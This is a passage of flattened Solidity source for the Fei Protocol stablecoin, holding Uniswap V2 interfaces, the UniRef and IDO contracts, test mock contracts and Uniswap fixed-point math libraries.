pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File @uniswap/v2-periphery/contracts/interfaces/[email protected] pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File contracts/fei-protocol/refs/IUniRef.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title A Uniswap Reference contract /// @author Fei Protocol /// @notice defines some modifiers and utilities around interacting with Uniswap /// @dev the uniswap pair should be FEI and another asset interface IUniRef { // ----------- Events ----------- event PairUpdate(address indexed _pair); // ----------- Governor only state changing api ----------- /// @notice set the new pair contract /// @param _pair the new pair /// @dev also approves the router for the new pair token and underlying token function setPair(address _pair) external; // ----------- Getters ----------- /// @notice the Uniswap router contract /// @return the IUniswapV2Router02 router implementation address function router() external view returns(IUniswapV2Router02); /// @notice the referenced Uniswap pair contract /// @return the IUniswapV2Pair router implementation address function pair() external view returns(IUniswapV2Pair); /// @notice the address of the non-fei underlying token /// @return the token address function token() external view returns(address); /// @notice pair reserves with fei listed first /// @dev uses the max of pair fei balance and fei reserves. Mitigates attack vectors which manipulate the pair balance function getReserves() external view returns (uint feiReserves, uint tokenReserves); /// @notice amount of pair liquidity owned by this contract /// @return amount of LP tokens function liquidityOwned() external view returns (uint); } // File contracts/fei-protocol/refs/UniRef.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title UniRef abstract implementation contract /// @author Fei Protocol abstract contract UniRef is IUniRef, OracleRef { using Decimal for Decimal.D256; using Babylonian for uint; IUniswapV2Router02 public override router; IUniswapV2Pair public override pair; /// @notice UniRef constructor /// @param _core Fei Core to reference /// @param _pair Uniswap pair to reference /// @param _router Uniswap Router to reference /// @param _oracle oracle to reference constructor(address _core, address _pair, address _router, address _oracle) public OracleRef(_core, _oracle) { setupPair(_pair); router = IUniswapV2Router02(_router); approveToken(address(fei())); approveToken(token()); approveToken(_pair); } function setPair(address _pair) external override onlyGovernor { setupPair(_pair); approveToken(token()); approveToken(_pair); } function token() public override view returns (address) { address token0 = pair.token0(); if (address(fei()) == token0) { return pair.token1(); } return token0; } function getReserves() public override view returns (uint feiReserves, uint tokenReserves) { address token0 = pair.token0(); (uint reserve0, uint reserve1,) = pair.getReserves(); (feiReserves, tokenReserves) = address(fei()) == token0 ? (reserve0, reserve1) : (reserve1, reserve0); uint feiBalance = fei().balanceOf(address(pair)); if(feiBalance > feiReserves) { feiReserves = feiBalance; } return (feiReserves, tokenReserves); } function liquidityOwned() public override view returns (uint) { return pair.balanceOf(address(this)); } /// @notice ratio of all pair liquidity owned by this contract function ratioOwned() internal view returns (Decimal.D256 memory) { uint balance = liquidityOwned(); uint total = pair.totalSupply(); return Decimal.ratio(balance, total); } /// @notice returns true if price is below the peg /// @dev counterintuitively checks if peg < price because price is reported as FEI per X function isBelowPeg(Decimal.D256 memory peg) internal view returns (bool) { (Decimal.D256 memory price,,) = getUniswapPrice(); return peg.lessThan(price); } /// @notice approves a token for the router function approveToken(address _token) internal { IERC20(_token).approve(address(router), uint(-1)); } function setupPair(address _pair) internal { pair = IUniswapV2Pair(_pair); emit PairUpdate(_pair); } function isPair(address account) internal view returns(bool) { return address(pair) == account; } /// @notice utility for calculating absolute distance from peg based on reserves /// @param reserveTarget pair reserves of the asset desired to trade with /// @param reserveOther pair reserves of the non-traded asset /// @param peg the target peg reported as Target per Other function getAmountToPeg( uint reserveTarget, uint reserveOther, Decimal.D256 memory peg ) internal pure returns (uint) { uint radicand = peg.mul(reserveTarget).mul(reserveOther).asUint256(); uint root = radicand.sqrt(); if (root > reserveTarget) { return root - reserveTarget; } return reserveTarget - root; } /// @notice calculate amount of Fei needed to trade back to the peg function getAmountToPegFei() internal view returns (uint) { (uint feiReserves, uint tokenReserves) = getReserves(); return getAmountToPeg(feiReserves, tokenReserves, peg()); } /// @notice calculate amount of the not Fei token needed to trade back to the peg function getAmountToPegOther() internal view returns (uint) { (uint feiReserves, uint tokenReserves) = getReserves(); return getAmountToPeg(tokenReserves, feiReserves, invert(peg())); } /// @notice get uniswap price and reserves /// @return price reported as Fei per X /// @return reserveFei fei reserves /// @return reserveOther non-fei reserves function getUniswapPrice() internal view returns( Decimal.D256 memory, uint reserveFei, uint reserveOther ) { (reserveFei, reserveOther) = getReserves(); return (Decimal.ratio(reserveFei, reserveOther), reserveFei, reserveOther); } /// @notice get final uniswap price after hypothetical FEI trade /// @param amountFei a signed integer representing FEI trade. Positive=sell, negative=buy /// @param reserveFei fei reserves /// @param reserveOther non-fei reserves function getFinalPrice( int256 amountFei, uint reserveFei, uint reserveOther ) internal pure returns (Decimal.D256 memory) { uint k = reserveFei * reserveOther; uint adjustedReserveFei = uint(int256(reserveFei) + amountFei); uint adjustedReserveOther = k / adjustedReserveFei; return Decimal.ratio(adjustedReserveFei, adjustedReserveOther); // alt: adjustedReserveFei^2 / k } /// @notice return the percent distance from peg before and after a hypothetical trade /// @param amountIn a signed amount of FEI to be traded. Positive=sell, negative=buy /// @return initialDeviation the percent distance from peg before trade /// @return finalDeviation the percent distance from peg after hypothetical trade /// @dev deviations will return Decimal.zero() if above peg function getPriceDeviations(int256 amountIn) internal view returns ( Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ) { (Decimal.D256 memory price, uint reserveFei, uint reserveOther) = getUniswapPrice(); initialDeviation = calculateDeviation(price, peg()); Decimal.D256 memory finalPrice = getFinalPrice(amountIn, reserveFei, reserveOther); finalDeviation = calculateDeviation(finalPrice, peg()); return (initialDeviation, finalDeviation); } /// @notice return current percent distance from peg /// @dev will return Decimal.zero() if above peg function getDistanceToPeg() internal view returns(Decimal.D256 memory distance) { (Decimal.D256 memory price, , ) = getUniswapPrice(); return calculateDeviation(price, peg()); } /// @notice get deviation from peg as a percent given price /// @dev will return Decimal.zero() if above peg function calculateDeviation( Decimal.D256 memory price, Decimal.D256 memory peg ) internal pure returns (Decimal.D256 memory) { // If price <= peg, then FEI is more expensive and above peg // In this case we can just return zero for deviation if (price.lessThanOrEqualTo(peg)) { return Decimal.zero(); } Decimal.D256 memory delta = price.sub(peg, "UniRef: price exceeds peg"); // Should never error return delta.div(peg); } } // File contracts/fei-protocol/genesis/IDO.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title IDOInterface implementation /// @author Fei Protocol contract IDO is IDOInterface, UniRef, LinearTokenTimelock { /// @notice IDO constructor /// @param _core Fei Core address to reference /// @param _beneficiary the beneficiary to vest LP shares /// @param _duration the duration of LP share vesting /// @param _pair the Uniswap pair contract of the IDO /// @param _router the Uniswap router contract constructor( address _core, address _beneficiary, uint32 _duration, address _pair, address _router ) public UniRef(_core, _pair, _router, address(0)) // no oracle needed LinearTokenTimelock(_beneficiary, _duration) { setLockedToken(_pair); } function deploy(Decimal.D256 calldata feiRatio) external override onlyGenesisGroup { uint tribeAmount = tribeBalance(); uint feiAmount = feiRatio.mul(tribeAmount).asUint256(); _mintFei(feiAmount); router.addLiquidity( address(tribe()), address(fei()), tribeAmount, feiAmount, tribeAmount, feiAmount, address(this), uint(-1) ); emit Deploy(feiAmount, tribeAmount); } function swapFei(uint amountFei) external override onlyGenesisGroup returns(uint) { (uint feiReserves, uint tribeReserves) = getReserves(); uint amountOut = UniswapV2Library.getAmountOut(amountFei, feiReserves, tribeReserves); fei().transferFrom(msg.sender, address(pair), amountFei); (uint amount0Out, uint amount1Out) = pair.token0() == address(fei()) ? (uint(0), amountOut) : (amountOut, uint(0)); pair.swap(amount0Out, amount1Out, msg.sender, new bytes(0)); return amountOut; } } // File contracts/fei-protocol/mock/IMockUniswapV2PairLiquidity.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; interface IMockUniswapV2PairLiquidity is IUniswapV2Pair { function burnEth(address to, Decimal.D256 calldata ratio) external returns(uint256 amountEth, uint256 amount1); function mintAmount(address to, uint256 _liquidity) external payable; function setReserves(uint112 newReserve0, uint112 newReserve1) external; } // File contracts/fei-protocol/mock/MockBondingCurve.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockBondingCurve { bool public atScale; bool public allocated; Decimal.D256 public getCurrentPrice; constructor(bool _atScale, uint256 price) public { setScale(_atScale); setCurrentPrice(price); } function setScale(bool _atScale) public { atScale = _atScale; } function setCurrentPrice(uint256 price) public { getCurrentPrice = Decimal.ratio(price, 100); } function allocate() public payable { allocated = true; } function purchase(address to, uint amount) public payable returns (uint256 amountOut) { return 1; } function getAmountOut(uint amount) public view returns(uint) { return 10 * amount; } function getAveragePrice(uint256 amountIn) public view returns (Decimal.D256 memory) { return getCurrentPrice; } } // File contracts/fei-protocol/mock/MockCoreRef.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockCoreRef is CoreRef { constructor(address core) CoreRef(core) public {} function testMinter() public view onlyMinter {} function testBurner() public view onlyBurner {} function testPCVController() public view onlyPCVController {} function testGovernor() public view onlyGovernor {} function testPostGenesis() public view postGenesis {} } // File contracts/fei-protocol/mock/MockERC20.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockERC20 is ERC20, ERC20Burnable { constructor() ERC20("MockToken", "MCT") public {} function mint(address account, uint256 amount) public returns (bool) { _mint(account, amount); return true; } } // File contracts/fei-protocol/mock/MockEthPCVDeposit.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockEthPCVDeposit is IPCVDeposit { address payable beneficiary; uint256 total = 0; constructor(address payable _beneficiary) public { beneficiary = _beneficiary; } function deposit(uint256 amount) external override payable { require(amount == msg.value, "MockEthPCVDeposit: Sent value does not equal input"); beneficiary.transfer(amount); total += amount; } function withdraw(address to, uint256 amount) external override { require(address(this).balance >= amount, "MockEthPCVDeposit: Not enough value held"); total -= amount; payable(to).transfer(amount); } function totalValue() external view override returns(uint256) { return total; } } // File contracts/fei-protocol/mock/MockEthUniswapPCVDeposit.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockEthUniswapPCVDeposit is MockEthPCVDeposit { address public pair; constructor(address _pair) MockEthPCVDeposit(payable(this)) public { pair = _pair; } fallback() external payable { } } // File contracts/fei-protocol/mock/MockIDO.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockIDO { Decimal.D256 public ratio = Decimal.zero(); IERC20 public tribe; uint multiplier; constructor(address _tribe, uint _multiplier) public { tribe = IERC20(_tribe); multiplier = _multiplier; } function deploy(Decimal.D256 memory feiRatio) public { ratio = feiRatio; } function swapFei(uint amount) public returns (uint amountOut) { amountOut = amount * multiplier; tribe.transfer(msg.sender, amountOut); return amountOut; } } // File contracts/fei-protocol/mock/MockIncentive.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockIncentive is IIncentive, CoreRef { constructor(address core) CoreRef(core) public {} uint256 constant private INCENTIVE = 100; function incentivize( address sender, address receiver, address spender, uint256 amountIn ) public override { fei().mint(sender, INCENTIVE); } } // File contracts/fei-protocol/mock/MockOracle.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockOracle is IOracle { using Decimal for Decimal.D256; // fixed exchange ratio uint256 _usdPerEth; bool public override killSwitch; bool public updated; bool public valid = true; constructor(uint256 usdPerEth) public { _usdPerEth = usdPerEth; } function update() public override returns (bool) { updated = true; return true; } function read() public view override returns (Decimal.D256 memory, bool) { Decimal.D256 memory price = Decimal.from(_usdPerEth); return (price, valid); } function setValid(bool isValid) public { valid = isValid; } function setExchangeRate(uint256 usdPerEth) public { _usdPerEth = usdPerEth; } function setKillSwitch(bool _killSwitch) public override { killSwitch = _killSwitch; } } // File contracts/fei-protocol/mock/MockOrchestrator.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockBCO { Decimal.D256 public initPrice; function init(Decimal.D256 memory price) public { initPrice = price; } } contract MockPool { function init() public {} } contract MockOrchestrator { address public bondingCurveOracle; address public pool; constructor() public { bondingCurveOracle = address(new MockBCO()); pool = address(new MockPool()); } function launchGovernance() external {} } // File contracts/fei-protocol/mock/MockRouter.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockRouter { using SafeMath for uint256; using Decimal for Decimal.D256; IMockUniswapV2PairLiquidity private PAIR; address public WETH; constructor(address pair) public { PAIR = IMockUniswapV2PairLiquidity(pair); } uint256 private totalLiquidity; uint256 private constant LIQUIDITY_INCREMENT = 10000; function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity) { address pair = address(PAIR); amountToken = amountTokenDesired; amountETH = msg.value; liquidity = LIQUIDITY_INCREMENT; (uint112 reserves0, uint112 reserves1, ) = PAIR.getReserves(); IERC20(token).transferFrom(to, pair, amountToken); PAIR.mintAmount{value: amountETH}(to, LIQUIDITY_INCREMENT); totalLiquidity += LIQUIDITY_INCREMENT; uint112 newReserve0 = uint112(reserves0) + uint112(amountETH); uint112 newReserve1 = uint112(reserves1) + uint112(amountToken); PAIR.setReserves(newReserve0, newReserve1); } function addLiquidity( address token0, address token1, uint amountToken0Desired, uint amountToken1Desired, uint amountToken0Min, uint amountToken1Min, address to, uint deadline ) external returns (uint amountToken0, uint amountToken1, uint liquidity) { address pair = address(PAIR); liquidity = LIQUIDITY_INCREMENT; IERC20(token0).transferFrom(to, pair, amountToken0Desired); IERC20(token1).transferFrom(to, pair, amountToken1Desired); PAIR.mintAmount(to, LIQUIDITY_INCREMENT); } function setWETH(address weth) public { WETH = weth; } function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH) { Decimal.D256 memory percentWithdrawal = Decimal.ratio(liquidity, totalLiquidity); Decimal.D256 memory ratio = ratioOwned(to); (amountETH, amountToken) = PAIR.burnEth(to, ratio.mul(percentWithdrawal)); (uint112 reserves0, uint112 reserves1, ) = PAIR.getReserves(); uint112 newReserve0 = uint112(reserves0) - uint112(amountETH); uint112 newReserve1 = uint112(reserves1) - uint112(amountToken); PAIR.setReserves(newReserve0, newReserve1); transferLiquidity(liquidity); } function transferLiquidity(uint liquidity) internal { PAIR.transferFrom(msg.sender, address(PAIR), liquidity); // send liquidity to pair } function ratioOwned(address to) public view returns (Decimal.D256 memory) { uint256 balance = PAIR.balanceOf(to); uint256 total = PAIR.totalSupply(); return Decimal.ratio(balance, total); } } // File contracts/fei-protocol/mock/MockSettableCore.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockSettableCore is Core { // anyone can set any role function isGovernor(address _address) public view override returns (bool) { return true; } } // File contracts/fei-protocol/mock/MockTribe.sol pragma solidity ^0.6.0; contract MockTribe is MockERC20 { function delegate(address account) external {} } // File contracts/fei-protocol/mock/MockUniswapIncentive.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockUniswapIncentive is MockIncentive { constructor(address core) MockIncentive(core) public {} bool isParity = false; bool isExempt = false; function isIncentiveParity() external view returns (bool) { return isParity; } function setIncentiveParity(bool _isParity) public { isParity = _isParity; } function isExemptAddress(address account) public returns (bool) { return isExempt; } function setExempt(bool exempt) public { isExempt = exempt; } function updateOracle() external returns(bool) { return true; } function setExemptAddress(address account, bool isExempt) external {} function getBuyIncentive(uint amount) external returns(uint, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ) { return (amount * 10 / 100, weight, initialDeviation, finalDeviation); } function getSellPenalty(uint amount) external returns(uint, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation) { return (amount * 10 / 100, initialDeviation, finalDeviation); } } // File @uniswap/lib/contracts/libraries/[email protected] // SPDX-License-Identifier: CC-BY-4.0 pragma solidity >=0.4.0; // taken from https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1 // license is CC-BY-4.0 library FullMath { function fullMul(uint256 x, uint256 y) internal pure returns (uint256 l, uint256 h) { uint256 mm = mulmod(x, y, uint256(-1)); l = x * y; h = mm - l; if (mm < l) h -= 1; } function fullDiv( uint256 l, uint256 h, uint256 d ) private pure returns (uint256) { uint256 pow2 = d & -d; d /= pow2; l /= pow2; l += h * ((-pow2) / pow2 + 1); uint256 r = 1; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; r *= 2 - d * r; return l * r; } function mulDiv( uint256 x, uint256 y, uint256 d ) internal pure returns (uint256) { (uint256 l, uint256 h) = fullMul(x, y); uint256 mm = mulmod(x, y, d); if (mm > l) h -= 1; l -= mm; if (h == 0) return l / d; require(h < d, 'FullMath: FULLDIV_OVERFLOW'); return fullDiv(l, h, d); } } // File @uniswap/lib/contracts/libraries/[email protected] // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.5.0; library BitMath { // returns the 0 indexed position of the most significant bit of the input x // s.t. x >= 2**msb and x < 2**(msb+1) function mostSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::mostSignificantBit: zero'); if (x >= 0x100000000000000000000000000000000) { x >>= 128; r += 128; } if (x >= 0x10000000000000000) { x >>= 64; r += 64; } if (x >= 0x100000000) { x >>= 32; r += 32; } if (x >= 0x10000) { x >>= 16; r += 16; } if (x >= 0x100) { x >>= 8; r += 8; } if (x >= 0x10) { x >>= 4; r += 4; } if (x >= 0x4) { x >>= 2; r += 2; } if (x >= 0x2) r += 1; } // returns the 0 indexed position of the least significant bit of the input x // s.t. (x & 2**lsb) != 0 and (x & (2**(lsb) - 1)) == 0) // i.e. the bit at the index is set and the mask of all lower bits is 0 function leastSignificantBit(uint256 x) internal pure returns (uint8 r) { require(x > 0, 'BitMath::leastSignificantBit: zero'); r = 255; if (x & uint128(-1) > 0) { r -= 128; } else { x >>= 128; } if (x & uint64(-1) > 0) { r -= 64; } else { x >>= 64; } if (x & uint32(-1) > 0) { r -= 32; } else { x >>= 32; } if (x & uint16(-1) > 0) { r -= 16; } else { x >>= 16; } if (x & uint8(-1) > 0) { r -= 8; } else { x >>= 8; } if (x & 0xf > 0) { r -= 4; } else { x >>= 4; } if (x & 0x3 > 0) { r -= 2; } else { x >>= 2; } if (x & 0x1 > 0) r -= 1; } } // File @uniswap/lib/contracts/libraries/[email protected] // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.4.0; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) library FixedPoint { // range: [0, 2**112 - 1] // resolution: 1 / 2**112 struct uq112x112 { uint224 _x; } // range: [0, 2**144 - 1] // resolution: 1 / 2**112 struct uq144x112 { uint256 _x; } uint8 public constant RESOLUTION = 112; uint256 public constant Q112 = 0x10000000000000000000000000000; // 2**112 uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000; // 2**224 uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits) // encode a uint112 as a UQ112x112 function encode(uint112 x) internal pure returns (uq112x112 memory) { return uq112x112(uint224(x) << RESOLUTION); } // encodes a uint144 as a UQ144x112 function encode144(uint144 x) internal pure returns (uq144x112 memory) { return uq144x112(uint256(x) << RESOLUTION); } // decode a UQ112x112 into a uint112 by truncating after the radix point function decode(uq112x112 memory self) internal pure returns (uint112) { return uint112(self._x >> RESOLUTION); } // decode a UQ144x112 into a uint144 by truncating after the radix point function decode144(uq144x112 memory self) internal pure returns (uint144) { return uint144(self._x >> RESOLUTION); } // multiply a UQ112x112 by a uint, returning a UQ144x112 // reverts on overflow function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) { uint256 z = 0; require(y == 0 || (z = self._x * y) / y == self._x, 'FixedPoint::mul: overflow'); return uq144x112(z); } // multiply a UQ112x112 by an int and decode, returning an int // reverts on overflow function muli(uq112x112 memory self, int256 y) internal pure returns (int256) { uint256 z = FullMath.mulDiv(self._x, uint256(y < 0 ? -y : y), Q112); require(z < 2**255, 'FixedPoint::muli: overflow'); return y < 0 ? -int256(z) : int256(z); } // multiply a UQ112x112 by a UQ112x112, returning a UQ112x112 // lossy function muluq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) { if (self._x == 0 || other._x == 0) { return uq112x112(0); } uint112 upper_self = uint112(self._x >> RESOLUTION); // * 2^0 uint112 lower_self = uint112(self._x & LOWER_MASK); // * 2^-112 uint112 upper_other = uint112(other._x >> RESOLUTION); // * 2^0 uint112 lower_other = uint112(other._x & LOWER_MASK); // * 2^-112 // partial products uint224 upper = uint224(upper_self) * upper_other; // * 2^0 uint224 lower = uint224(lower_self) * lower_other; // * 2^-224 uint224 uppers_lowero = uint224(upper_self) * lower_other; // * 2^-112 uint224 uppero_lowers = uint224(upper_other) * lower_self; // * 2^-112 // so the bit shift does not overflow require(upper <= uint112(-1), 'FixedPoint::muluq: upper overflow'); // this cannot exceed 256 bits, all values are 224 bits uint256 sum = uint256(upper << RESOLUTION) + uppers_lowero + uppero_lowers + (lower >> RESOLUTION); // so the cast does not overflow require(sum <= uint224(-1), 'FixedPoint::muluq: sum overflow'); return uq112x112(uint224(sum)); } // divide a UQ112x112 by a UQ112x112, returning a UQ112x112 function divuq(uq112x112 memory self, uq112x112 memory other) internal pure returns (uq112x112 memory) { require(other._x > 0, 'FixedPoint::divuq: division by zero'); if (self._x == other._x) { return uq112x112(uint224(Q112)); } if (self._x <= uint144(-1)) { uint256 value = (uint256(self._x) << RESOLUTION) / other._x; require(value <= uint224(-1), 'FixedPoint::divuq: overflow'); return uq112x112(uint224(value)); } uint256 result = FullMath.mulDiv(Q112, self._x, other._x); require(result <= uint224(-1), 'FixedPoint::divuq: overflow'); return uq112x112(uint224(result)); } // returns a UQ112x112 which represents the ratio of the numerator to the denominator // can be lossy function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) { require(denominator > 0, 'FixedPoint::fraction: division by zero'); if (numerator == 0) return FixedPoint.uq112x112(0); if (numerator <= uint144(-1)) { uint256 result = (numerator << RESOLUTION) / denominator; require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } else { uint256 result = FullMath.mulDiv(numerator, Q112, denominator); require(result <= uint224(-1), 'FixedPoint::fraction: overflow'); return uq112x112(uint224(result)); } } // take the reciprocal of a UQ112x112 // reverts on overflow // lossy function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) { require(self._x != 0, 'FixedPoint::reciprocal: reciprocal of zero'); require(self._x != 1, 'FixedPoint::reciprocal: overflow'); return uq112x112(uint224(Q224 / self._x)); } // square root of a UQ112x112 // lossy between 0/1 and 40 bits function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) { if (self._x <= uint144(-1)) { return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112))); } uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x); safeShiftBits -= safeShiftBits % 2; return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2))); } } // File contracts/fei-protocol/mock/MockUniswapV2PairLiquidity.sol /* Copyright 2020 Empty Set Squad <[email protected]> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockUniswapV2PairLiquidity is IUniswapV2Pair { using SafeMath for uint256; using Decimal for Decimal.D256; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint256 private liquidity; address public override token0; address public override token1; constructor(address _token0, address _token1) public { token0 = _token0; token1 = _token1; } function getReserves() external view override returns (uint112, uint112, uint32) { return (reserve0, reserve1, 0); } function mint(address to) public override returns (uint) { _mint(to, liquidity); return liquidity; } function mintAmount(address to, uint256 _liquidity) public payable { _mint(to, _liquidity); } function set(uint112 newReserve0, uint112 newReserve1, uint256 newLiquidity) external payable { reserve0 = newReserve0; reserve1 = newReserve1; liquidity = newLiquidity; mint(msg.sender); } function setReserves(uint112 newReserve0, uint112 newReserve1) external { reserve0 = newReserve0; reserve1 = newReserve1; } function faucet(address account, uint256 amount) external returns (bool) { _mint(account, amount); return true; } function burnEth(address to, Decimal.D256 memory ratio) public returns(uint256 amountEth, uint256 amount1) { uint256 balanceEth = address(this).balance; amountEth = ratio.mul(balanceEth).asUint256(); payable(to).transfer(amountEth); uint256 balance1 = reserve1; amount1 = ratio.mul(balance1).asUint256(); IERC20(token1).transfer(to, amount1); } function withdrawFei(address to, uint256 amount) public { IERC20(token1).transfer(to, amount); } function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external override { // No - op; } /** * Should not use */ function name() external pure override returns (string memory) { return "Uniswap V2"; } function symbol() external pure override returns (string memory) { return "UNI-V2"; } function decimals() external pure override returns (uint8) { return 18; } function DOMAIN_SEPARATOR() external view override returns (bytes32) { revert("Should not use"); } function PERMIT_TYPEHASH() external pure override returns (bytes32) { revert("Should not use"); } function nonces(address owner) external view override returns (uint) { revert("Should not use"); } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override { revert("Should not use"); } function MINIMUM_LIQUIDITY() external pure override returns (uint) { revert("Should not use"); } function factory() external view override returns (address) { revert("Should not use"); } function price0CumulativeLast() external view override returns (uint) { revert("Should not use"); } function price1CumulativeLast() external view override returns (uint) { revert("Should not use"); } function kLast() external view override returns (uint) { revert("Should not use"); } function skim(address to) external override { revert("Should not use"); } function sync() external override { revert("Should not use"); } function burn(address to) external override returns (uint amount0, uint amount1) { revert("Should not use"); } function initialize(address, address) external override { revert("Should not use"); } // @openzeppelin/contracts/token/ERC20/ERC20.sol mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public override view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot 